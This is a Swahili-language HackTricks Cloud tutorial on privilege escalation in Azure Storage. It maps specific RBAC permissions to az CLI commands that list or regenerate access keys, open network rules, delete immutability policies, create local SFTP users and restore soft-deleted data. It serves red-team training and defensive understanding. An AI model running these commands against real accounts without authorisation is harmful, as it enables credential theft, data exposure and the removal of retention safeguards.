Az - Storage Privesc
Reading time: 7 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Storage Privesc
Kwa maelezo zaidi kuhusu uhifadhi angalia:
Microsoft.Storage/storageAccounts/listkeys/action
Mtu mwenye ruhusa hii ataweza kuorodhesha (na thamani za siri) za funguo za ufikiaji za akaunti za uhifadhi. Hii inaruhusu mtu huyo kupandisha hadhi yake juu ya akaunti za uhifadhi.
az storage account keys list --account-name <acc-name>
Microsoft.Storage/storageAccounts/regenerateKey/action
Mtu mwenye ruhusa hii ataweza kufufua na kupata thamani mpya ya siri ya access keys za akaunti za hifadhi. Hii inaruhusu mtu huyo kuongeza mamlaka yake juu ya akaunti za hifadhi.
Zaidi ya hayo, katika jibu, mtumiaji atapata thamani ya funguo zilizofufuliwa na pia ya zile zisizofufuliwa:
az storage account keys renew --account-name <acc-name> --key key2
Microsoft.Storage/storageAccounts/write
Mtu mwenye ruhusa hii ataweza kuunda au kuboresha akaunti ya kuhifadhi iliyopo akisasisha mipangilio yoyote kama sheria za mtandao au sera.
# e.g. set default action to allow so network restrictions are avoided
az storage account update --name <acc-name> --default-action Allow
# e.g. allow an IP address
az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<ip-address>
Blobs Specific privesc
Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write
| Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
Ruhusa ya kwanza inaruhusu kubadilisha sera za kutokuweza kubadilishwa katika kontena na ya pili kufuta hizo.
note
Kumbuka kwamba ikiwa sera ya kutokuweza kubadilishwa iko katika hali ya kufungwa, huwezi kufanya mojawapo ya hizo mbili.
az storage container immutability-policy delete \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--resource-group <RESOURCE_GROUP>
az storage container immutability-policy update \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--resource-group <RESOURCE_GROUP> \
--period <NEW_RETENTION_PERIOD_IN_DAYS>
File shares specific privesc
Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
Hii inapaswa kumruhusu mtumiaji mwenye ruhusa hii kuchukua umiliki wa faili ndani ya mfumo wa faili wa pamoja.
Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
Hii inapaswa kumruhusu mtumiaji mwenye ruhusa hii kubadilisha ruhusa za faili ndani ya mfumo wa faili wa pamoja.
Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
Hii inapaswa kumruhusu mtumiaji mwenye ruhusa hii kufanya vitendo ndani ya mfumo wa faili kama superuser.
Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
Kwa ruhusa hii, mshambuliaji anaweza kuunda na kusasisha (ikiwa ana ruhusa ya Microsoft.Storage/storageAccounts/localusers/read
) mtumiaji mpya wa ndani kwa akaunti ya Azure Storage (iliyowekwa na namespace ya kihierarkia), ikiwa ni pamoja na kuweka ruhusa za mtumiaji na saraka ya nyumbani. Ruhusa hii ni muhimu kwa sababu inamruhusu mshambuliaji kujipa ruhusa kwa akaunti ya hifadhi yenye ruhusa maalum kama kusoma (r), kuandika (w), kufuta (d), na orodha (l) na zaidi. Zaidi ya hayo, mbinu za uthibitishaji zinazotumika zinaweza kuwa nywila zinazozalishwa na Azure na funguo za SSH. Hakuna ukaguzi ikiwa mtumiaji tayari yupo, hivyo unaweza kufuta watumiaji wengine ambao tayari wapo. Mshambuliaji anaweza kuongeza haki zao na kupata ufikiaji wa SSH kwa akaunti ya hifadhi, ambayo inaweza kufichua au kuhatarisha data nyeti.
az storage account local-user create \
--account-name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP_NAME> \
--name <LOCAL_USER_NAME> \
--permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
--home-directory <HOME_DIRECTORY> \
--has-ssh-key false/true # Depends on the auth method to use
Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
Kwa ruhusa hii, mshambuliaji anaweza kuunda upya nenosiri la mtumiaji wa ndani katika akaunti ya Azure Storage. Hii inampa mshambuliaji uwezo wa kupata akreditif mpya za uthibitishaji (kama vile nenosiri la SSH au SFTP) kwa mtumiaji. Kwa kutumia akreditif hizi, mshambuliaji anaweza kupata ufikiaji usioidhinishwa kwenye akaunti ya hifadhi, kufanya uhamishaji wa faili, au kubadilisha data ndani ya kontena za hifadhi. Hii inaweza kusababisha uvujaji wa data, uharibifu, au mabadiliko mabaya ya maudhui ya akaunti ya hifadhi.
az storage account local-user regenerate-password \
--account-name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP_NAME> \
--name <LOCAL_USER_NAME>
Ili kufikia Azure Blob Storage kupitia SFTP (is_hns_enabled inapaswa kuwa kweli) kwa kutumia mtumiaji wa ndani kupitia SFTP unaweza (unaweza pia kutumia ssh key kuungana):
sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.windows.net
#regenerated-password
Microsoft.Storage/storageAccounts/restoreBlobRanges/action
, Microsoft.Storage/storageAccounts/blobServices/containers/read
, Microsoft.Storage/storageAccounts/read
&& Microsoft.Storage/storageAccounts/listKeys/action
Kwa ruhusa hizi, mshambuliaji anaweza kurejesha kontena lililofutwa kwa kubainisha kitambulisho cha toleo lake lililofutwa au kuondoa blobs maalum ndani ya kontena, ikiwa zilikuwa zimefutwa kwa njia ya laini awali. Kuinua ruhusa hii kunaweza kumwezesha mshambuliaji kurejesha data nyeti ambayo ilikusudiwa kufutwa kabisa, ambayo inaweza kusababisha ufikiaji usioidhinishwa.
#Restore the soft deleted container
az storage container restore \
--account-name <STORAGE_ACCOUNT_NAME> \
--name <CONTAINER_NAME> \
--deleted-version <VERSION>
#Restore the soft deleted blob
az storage blob undelete \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--name "fileName.txt"
Microsoft.Storage/storageAccounts/fileServices/shares/restore/action
&& Microsoft.Storage/storageAccounts/read
Kwa ruhusa hizi, mshambuliaji anaweza kurejesha sehemu ya faili ya Azure iliyofutwa kwa kubainisha kitambulisho cha toleo lake lililofutwa. Kuinua kwa ruhusa hii kunaweza kumwezesha mshambuliaji kurejesha data nyeti ambayo ilikusudiwa kufutwa kabisa, ambayo inaweza kusababisha ufikiaji usioidhinishwa.
az storage share-rm restore \
--storage-account <STORAGE_ACCOUNT_NAME> \
--name <FILE_SHARE_NAME> \
--deleted-version <VERSION>
Mamlaka mengine ya kuvutia (TODO)
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Inabadilisha umiliki wa blob
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Inabadilisha mamlaka ya blob
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Inarudisha matokeo ya amri ya blob
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action
Marejeo
- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage
- https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.